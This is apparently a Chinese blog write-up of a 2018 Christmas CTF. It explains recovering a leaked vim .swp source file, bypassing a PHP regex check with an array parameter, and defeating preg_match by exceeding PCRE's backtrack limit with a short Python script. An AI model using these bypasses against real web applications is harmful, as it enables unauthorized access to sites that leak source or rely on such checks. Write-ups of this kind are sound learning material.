2018 春节圣诞节欢乐赛Writeup

WEB

Gift

  题目给了一个网页,查看源码和扫了一下目录,并没有发现其他东西。

。。。 。。。陷入沉思。。。 。。。

  之后放出hint:有一个秘密在雪中。 以为是图片隐写,搞了半天也没发现什么线索;后来大佬提示snow隐写网站。是一个网页的隐写加解密。

直接解密提示这个,什么乱七八糟的,看不懂略过。。。

后来才发现要密码才能解密(还是太鲁莽,得改),那密码究竟是啥呢?忽然想到题目中那句话:(你还想听后续?没了没了~//我才不会对你透露钥匙上刻了题目名呢)

原来密码就是题目名:gift,解密得到flag。

 

贴上解密网站:http://fog.misty.com/perry/ccs/snow/snow/snow.html

 

GIft php(签到题)

  虽然圣诞节没太在意,但意思意思先贴上可爱的圣诞老人,

给了提示Do you know .swp file?这个我知道(//🤭)。打开url:  /.index.php.swp下载了swp文件,直接notepad++打开,发现有代码但是不全。上网查了一下还原swp文件的方法,执行

vim -r index.php  #swp文件为 ./.index.php.swp

 

因为懒,直接在pentestbox带的vim下执行命令发现无法恢复,然后只能打开Linux的系统在里面执行命令,果然index.php恢复了,拿到源码为:

 1  <?php
 2   function areyouok($greeting){
 3       return preg_match('/Merry.*Christmas/is',$greeting); //正则匹配
 4   }
 5   
 6   $greeting=@$_POST['greeting'];
 8      if(!areyouok($greeting)){
 9          if(strpos($greeting,'Merry Christmas')!==false){   //字符查找,如果查找到返回字符的位置,没有就返回false
10              echo 'Merry Christmas. '.'flag{xxxxxx}';
11          }else{
12              echo 'Do you know .swp file?';
13          }
14        }else{
15            echo 'Do you know PHP?';17  }
18 ?>

这种我都是直接构造数组绕过greeting[]= 即可以绕过。谷歌的hackbar,丑加难用。

 

Gift php plus

  打开题目发现步骤和之前一样,只是在之前的代码中中加了一个判断数组

 

 1 <?php
 2 function areyouok($greeting){
 3     return preg_match('/Merry.*Christmas/is',$greeting);
 4 }
 5 
 6 $greeting=@$_POST['greeting'];
 7 if(!is_array($greeting)){    //此处加了数组判断
 8     if(!areyouok($greeting)){
 9         if(strpos($greeting,'Merry Christmas')!==false){
10             echo 'Merry Christmas. '.'flag{xxxxxx}';
11         }else{
12             echo 'Do you know .swp file?';
13         }
14     }else{
15         echo 'Do you know PHP?';
16     }
17 }
18 ?>

 

一直没思路,后来发现群里提到了freebuf的一篇文章https://www.freebuf.com/articles/web/190794.html,去看了后慢慢复现出来。原来是让正则中的 .*匹配到后面的所有内容,然后再回溯匹配,因为回溯次数上限默认是 100 万。那么,假设我们的回溯次数超过了 100 万,把字符长度加到100万以上,使其匹配超出限制返回false。

 return preg_match('/Merry.*Christmas/is',$greeting);

写python代码跑一下,发现flag出来了。

贴上python代码:

1 #!/usr/bin/env python3
2 # _*_ coding=utf-8 _*_
3 # @Author :M1r4n
4 from requests import post
5 
6 payload = {'greeting':'Merry Christmas'+'a' * 1000000}
7 res = post('http://106.75.66.87:8888/index.php',data=payload)
8 print(res.text)

 感谢P神的详细教程:https://www.freebuf.com/articles/web/190794.html

 

 

Misc

  gift collect

这个题完全是莫名其妙过的,我也不知道真正的是怎么做,等writeup吧!!哈哈哈

打开进度条拉到后面居然就出来了!!(惊奇)

但是,唉?怎么看不清楚,最后只好用win10自带的录屏把这段录下来,然后0.1倍慢放、暂停。哈哈机智如我(菜鸡办法)。

  gift select 

这个题真是让人激动,而且不止一哈。下载之后发现是个压缩包,然后解压,再解压。咦!!??,怎么这么多?竟然是100万个压缩包,我居然解压完了。打开第一个居然是flag,赶紧提交,果然没那么简单。竟然有一堆flag,但是是错误的。

题目提示:只有你的礼物比较特殊,是能一眼认出来的英文单词哦,但是为了增加游戏难度,我特意的把一些字母变成数字了)

一开始心没静下来,胡乱搞了几下,把100万个gz压缩包的内容提取出来,各种挫折(菜鸟泪奔),网上找了师傅的脚本跑出来,几经波折(其实是蠢)之后,搜索this,找到了给我的9ift。此处感叹做题心要静,一步一步来!!

     贴上偷来的脚本:

 1 #!/usr/bin/env python3
 2 # _*_ coding=utf-8 _*_
 3 # @Author :M1r4n
 4 import os
 5 import gzip
 6 
 7 # 那是因为你调用了read方法,而这个方法会把文件一股脑儿读取出来的
 8 # 为了便于你迭代,你可以在这里使用一个生成器
 9 def read_gz_file(path):
10     if os.path.exists(path):
11         with gzip.open(path, 'rt',errors='ignore') as pf:    #errors  错误不显示 ?
12             for line in pf:
13                 yield line
14     else:
15         print('the path [{}] is not exist!'.format(path))
16 a = input()
17 b = input()
18 f = open('flags.txt','a')
19 for i in range(int(a),int(b)):
20     i = str(i).zfill(6)            #让数字变为6位,符合文件命名。文件名这样的 sock_000001.gz
21     # print(i)
22     path = r'C:\Users\72427\Desktop\题目\mis3\gift select_9b1de2ae35363353d907c9cca312271d\Christmas_Socks\sock_{}.gz'.format(i)
23     con = read_gz_file(path=path)
24     if getattr(con, '__iter__', None):
25         for line in con:
26             # print(line)
27             if 'flag' in line:
28                 # print(line)
29                 f.write(line+'\n')
30                 #break
31 f.close()

 到此此次比赛就完了,最后那道mp3隐写,都没去看。等writeup出来瞧一下。五道题摸爬滚打搞出来四道,坚持努力学习相信越来越厉害!

posted @ 2018-12-25 14:19  Aiue  阅读(717)  评论(0编辑  收藏  举报